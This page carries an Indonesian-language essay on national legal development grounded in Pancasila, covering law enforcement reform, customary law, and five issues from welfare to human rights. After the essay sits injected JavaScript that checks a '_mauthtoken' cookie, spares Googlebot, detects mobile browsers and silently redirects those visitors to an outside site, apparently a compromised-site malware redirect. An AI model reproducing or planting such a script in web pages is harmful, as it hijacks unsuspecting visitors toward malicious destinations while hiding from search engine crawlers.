  1. Memperjuangkan tata hukum yang hendak dibangun secara hirarkis piramidal tersusun atas Cita Hukum Pancasila, Asas-asas Hukum Nasional dan Kaidah-Kaidah Hukum Positif yang terduri dari yurisprudensi, pranata dan kaidah Hukum Adat sepanjang masih hidup dalam kenyataan dan belum diangkat menjadi ketentuan undang-undang, kaidah Hukum Islam sejauh sudah diresepsi dalam Hukum adat atau sudah menjadi ketentuan undang-undang dan hukum kebiasaan. Dengan Tatanan Hukum yang mengandung ciri:  (a) berwawasan kebangsaan dan berwawasan nusantara; (b) mampu mengakomodasi kesadaran hukum kelompok etnis-kedaerahan dan keyakinan agama; (c) sejauh mungkin berbentuk tertulis dan terunifikasi; (d) bersifat rasional yang mencakup rasionalitas-berkaidah dan rasionalitas nilai; (e) aturan prosedural yang menjamin transparansi, yang memungkinkan kajian rasional terhadap pengambilan putusan oleh pemerintah; dan (f) responsif terhadap perkembangan aspirasi dan ekspetasi masyarakat.

 

  1. Memperjuangkan Negara Hukum yang hendak dibangun untuk kesejahteraan dan kebahagiaan bangsa Indonesia. Melalui strategi:
  2. Penegakan hukum di Indonesia yang memenuhi nilai keadilan., dengan membongkar struktur sosial yang hierarkhis yang penuh dengan ketidakadilan, dominasi, dan penindasan, sehingga penegakan hukum di Indonesia memenuhi nilai keadilan.
  3. Penataan ulang kelembagaan penegak hukum, yaitu memperjuangkan kepolisian dan kejaksaan, dan kehakiman yang benar-benar mandiri, aparaturnya yang kompeten dan berintegritas. Faktor utama kelemahan penegakan hukum bukan hanya semata-mata masalah koordinasi yang sudah diatur secara normatif dalam undang-undang, tetapi juga ada masalah dalam  harmonisasi peraturan perundang-undangan yang mengatur institusi penegak hukum, sehingga salah satunya menimbulkan konflik kewenangan diantara institusi penegak hukum tersebut. Karena itu, harmonisasi peraturan perundang-undangan menjadi penting sehingga harus diatur dalam suatu  pengaturan khsusus mengenai keterkaitan organisasi penegak hukum.
  4. Mencegah mematisurikan nilai-nilai, norma-norma hukum rakyat (folk law/customary law/adat law), termasuk religi dan tradisi-tradisi hukum serta kearifan masyarakat di daerah melalui dominasi pemberlakuan dan penegakan hukum negara (state law).
  5. Memperjuangkan pendidikan hukum sejak dini kepada mahasiswa hukum untuk diyakinkan akan kebenaran sifat hukum yang tidak terlepas dari ilmu sosial, karena hukum berada dalam ruang sosial bukan ruang yang hampa.

 

Pandangan hidup Pancasila dirumuskan dalam kesatuan lima sila yang masing-masing mengungkapkan nilai fundamental dan sekaligus menjadi lima asas opersional dalam menjalani kehidupan, termasuk dalam penyelenggaraan kegiatan menegara dan pengembanan hukum praktis. Menurut Prof Mochtar Kusumaatmadja, Pancasila selain sebagai nilai dasar (base-values)  yang menjadi landasan dan acuan untuk mencapai atau memperjuangkan sesuatu, juga sebagai nilai tujuan (goal-values) yang harus dan layak diperjuangkan dan diwujudkan. Dalam kerangka pandangan tentang cara keberadaan manusia di dalam masyarakat dan alam semesta, maka cita hukum Pancasila berintikan:

  1. Ketuhanan Yang Maha Esa
  2. Penghormatan atas martabat manusia
  3. Wawasan Kebangsaan dan Wawasan Nusantara
  4. Persamaan dan Kelayakan
  5. Keadilan sosial
  6. Moral dan budi pekerti yang luhur
  7. Partisipasi dan transparansi dalam proses pengambilan keputusan publik.

 

Tujuan hukum berdasarkan cita hukum Pancasila adalah mewujudkan pengayoman bagi manusia, yakni melindungi secara pasif dengan mencegah tindakan sewenang-wenang;  dan secara aktif dengan menciptakan kondisi kemasyarakatan yang manusiawi yang memungkinkan proses kemasyarakatan berlangsung secara wajar, sehingga secara adil setiap manusia memperoleh kesempatan yang luas dan sama untuk mengembangkan seluruh potensi kemanusiaannya secara utuh.

 

Ada lima isu utama menyangkut permasalahan pembangunan hukum di Indonesia. Yang pertama, menyangkut isu “HUKUM YANG MENYEJAHTERAKAN ”. Titik tolak hukum yang menyejahterakan berasal dari pembukaan UUD 1945 kemudian dari pasal 27, 33 dan pasal 34 UUD 1945. Dari pasal-pasal itu dapat disimpulkan bahwa Indonesia adalah negara kesejahteraan. Hukum adalah sarana pembaharuan dan pembangunan masyarakat. Hukum tidak hanya norma namun juga ada asas, lembaga dan proses. Negara kesejahteraan adalah negara yang harus aktif menciptakan kesejahterakan masyarakat. Sejarah di beberapa negara terutaman di Eropa Barat dan Eropa Utara mengenai negara kesejahteraan bahwa dalam peraturan-peraturan yang diprioritaskan yang pertama adalah pengurangan kemiskinan, lapangan kerja, sistem kesehatan, pendidikan dan jaminan sosial yang universal,

Yang kedua menyangkut isu “HUKUM YANG MEMPERKOKOH NKRI”.  Sosiolog Talcott Parsons dalam buku Social System menyatakan, jika suatu masyarakat ingin tetap eksis dan lestari, ada empat paradigma fungsi (function paradigm) yang harus terus dilaksanakan oleh masyarakat bersangkutan. Pertama, pattern maintenance, kemampuan memelihara sistem nilai budaya yang dianut karena budaya adalah endapan perilaku manusia. Budaya masyarakat itu akan berubah karena terjadi transformasi nilai dari masyarakat terdahulu ke masyarakat kemudian, tetapi dengan tetap memelihara nilai-nilai yang dianggapnya luhur, karena tanpa hal itu akan terbentuk masyarakat baru yang lain.

Kedua, kemampuan masyarakat beradaptasi dengan dunia yang berubah dengan cepat. Sejarah membuktikan banyak peradaban masyarakat yang telah hilang karena tidak mampu beradaptasi dengan perubahan dunia. Masyarakat yang mampu menyesuaikan diri dengan perubahan serta memanfaatkan peluang yang timbul akan unggul. Ketiga, adanya fungsi integrasi dari unsur-unsur masyarakat yang beragam secara terus-menerus sehingga terbentuk kekuatan sentripetal yang kian menyatukan masyarakat itu. Keempat, masyarakat perlu memiliki goal attainment atau tujuan bersama yang dari masa ke masa bertransformasi karena terus diperbaiki oleh dinamika masyarakatnya dan oleh para pemimpinnya.

Jika negara kebangsaan Indonesia terbentuk oleh kesamaan sejarah masa lalu, maka ke depan perlu dimantapkan oleh kesamaan cita-cita, pandangan, harapan, dan tujuan tentang masa depannya. Arah dan Strategi pembangunan  nasional di era reformasi yaitu adanya visi, misi kemudian arah, yaitu arah yang memperkokoh NKRI serta bagaimana hukum kita bisa meneguhkan keberlangsungan Negara Republik Indonesia. Yang menjadi permasalahan agak sensitif adalah seberapa kuatkah keinginan kita untuk secara terbuka membicarakan masalah menjaga keutuhan NKRI melalui studi strategi politik hukum dilihat dari segi hukum formil dan materil, konsepsional dan opersaional, teori dan praktek, prinsip dan teknis, das wollen, das sollen, dan das sein sebagai harapan dan kenyataan, yang terkait  misalnya dengan isu otonomi khusus Aceh dan otonomi khusus Papua yang masih mengandung tanda tanya dan mengundang pertanyaan.

Yang ketiga menyangkut isu HUKUM YANG BERBHINNEKA TUNGGALIKA. Keseluruhan nilai dalam sistem nilai Pancasila telah dipersatukan oleh asas “Kesatuan dalam Perbedaan dan Perbedaan dalam Kesatuan” yang menjiwai struktur dasar keberadaan manusia dalam kebersamaan sebagai bangsa, yang tercermin dalam ungkapan “Bhineka Tunggal Ika”. Jadi Bhineka Tunggal Ika mengungkapkan titik tolak cara pandang bangsa Indonesia tentang tempat manusia individual di dalam masyarakat dan alam semseta (Prof. Soediman Kartohadiprodjo). Dalam ungkpan tersebut terkandung pengakuan serta penghormatan terhadap martabat manusia dan individual, kekhasan kelompok-kelompok etnis kedaerahan yang ada, dan keyakinan keagamaan dalam kesatuan berbangsa dan bernegara.

Yang keempat menyangkut isu “HUKUM YANG MEMPERKOKOH DEMOKRASI, Interdepedensi antara hukum dan demokrasi yang bermoral tergambar bahwa hukum sebagai keseluruhan dapat dilihat sebagai penggabungan moralitas/keadilan sosial, terhadap mana individu-individu, kelompok-kelompok atau organisasi pemerintah harus senantiasa mengorientasikan tingkah lakunya. Karena tuntutan masyarakat dapat sangat berbeda dengan pembuat hukum, maka sebaiknya kita harus menduga bahwa konsepsi-konsepsi mengenai nilai-nilai luhur kewajaran sosial, politik, ekonomi, dan khususnya kewajaran hukum — seperti yang tercantum dalm ruh hukum — harus terwujudakan dalam kehidupan demokrasi. Namun demikian pada kenyataannya patut diwaspadai karena kerap terjadi penyelundupan-penyelundupan kepentingan jahat yang dituangkan ke dalam substansi undang-undang atau peraturan daerah, sehingga yang muncul pada materi perundang-undangan tampak dari luar sah dan valid, namun dilihat dari segi substansinya sangat immoral.

Hukum seharusnya membalut dan mengental dalam kehidupan demokrasi, sehingga demokrasi tidak liar dan menjadi predator yang memangsa nilai-nilai keadilan dan budi pekerti yang luhur. Penegakan hukum yang nondiskriminatif merupakan konsekuensi logis hadirnya masyarakat yang berkeadilan yang tumbuh dalam kehidupan demokrasi yang berkeadaban. Kesadaran warga masyarakat sebagai fondasi di mana pilar-pilar integritas berdiri. Dalam menerapkan access to justice, maka kontrol publik harus digemakan sekencang-kencangnya ketika pemerintah, terutama penegak hukum, lemah dalam menegakkan hukum dan keadilan. Sebaliknya demokrasi seharusnya membesi lewat hukum yang keras menolak terhadap politik kekerasan. Membesinya demokrasi membuat satu-satunya perjuangan politik yang sah adalah persuasi dan dijalankan dalam koridor kebebasan dasar manusia.

Yang kelima menyangkut isu “HUKUM YANG MEMPERKUAT HAK ASASI MANUSIA. Sebenarnya banyak sekali hak rakyat yang dipunyai namun banyak yang belum dapat dipergunakan. Beberapa hak yang seharusnya dapat dijamin dan dilaksanakan diantaranya adalah: hak untuk berpartisipasi (terutama dalam pengambilan keputusan) dalam pembangunan, hak untuk memperoleh perlakuan yang sama dihadapan hukum (HAM), hak untuk hidup, hak untuk bersosialisasi dengan sesama, dll. Di dalam hal ini maka jaminan keamanan politik (Political Security) bagi rakyat Indonesia di dalam aspek hak mereka nampaknya masih perlu dikembangkan.

Permasalahan di sekitar keamanan dan perlindungan sosial baik menyangkut program jaring pengaman sosial (social security net), program proteksi sosial (social protection), keamanan pangan dan biota (food and bio security), keamanan sosial dan pertahanan (social and defend security), keamanan sosial-politik (socio-political security), dan masalah keamanan politik (political security) sudah banyak dibahas dan bahkan sejumlah seminar pernah membicarakan masing-masing aspek secara mendalam. Namun demikian pembahasan yang mendalam tentang segala permasalahan keamanan dipandang dari segi dinamika politik lokalnya nampaknya belum pernah dilakukan.

 


 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

LEAVE A REPLY

Please enter your comment!
Please enter your name here